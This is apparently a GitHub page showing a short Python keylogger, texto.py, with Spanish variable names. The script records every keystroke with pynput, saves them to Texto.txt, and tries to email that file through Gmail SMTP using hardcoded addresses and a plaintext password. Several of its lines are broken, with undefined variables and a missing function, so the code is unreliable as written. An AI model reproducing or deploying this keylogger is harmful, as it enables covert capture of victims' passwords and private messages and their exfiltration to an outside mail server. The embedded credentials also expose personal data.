Repository navigation
Expand file tree
/
Copy pathtexto.py
More file actions
83 lines (72 loc) · 2.24 KB
/
Copy pathtexto.py
File metadata and controls
83 lines (72 loc) · 2.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pynput.keyboard import Key, Listener
import time, datetime
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
count = 0
keys = []
wait_seconds = 10
timeout = time.time() + wait_seconds
ts = datetime.datetime.now()
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0}aplasto".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("Texto.txt", "a") as f:
for key in keys:
k = str(key).replace(" ' ", " ")
if k.find("space") > 0:
f.write('\n')
elif k.find("key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
logging.basicConfig(filename="datosOptenidos.txt", level=logging.DEBUG, format='%(message)s')
logging.log(10, chr(event.Ascii))
sendEmail(correo, pwd, subject)
while True:
if TimeOut():
correo1 = "oscarmateo1997@gmail.com"
correo2 = "mateo_penaherrera@yahoo.com"
pwd = "viviteamomucho"
subject = "Report"+str(ts)
try:
msg = MIMEMultipart()
msg['From'] = correo1
msg['To'] = correo2
msg['Subject'] = subject
body = 'Enviado'
msg.attach(MIMEText(body, 'plain'))
filename = 'Texto.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= " + filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(correo, pwd)
server.sendmail(correo, correo, text)
server.quit()
print("Correo enviado")
except:
print("fallo")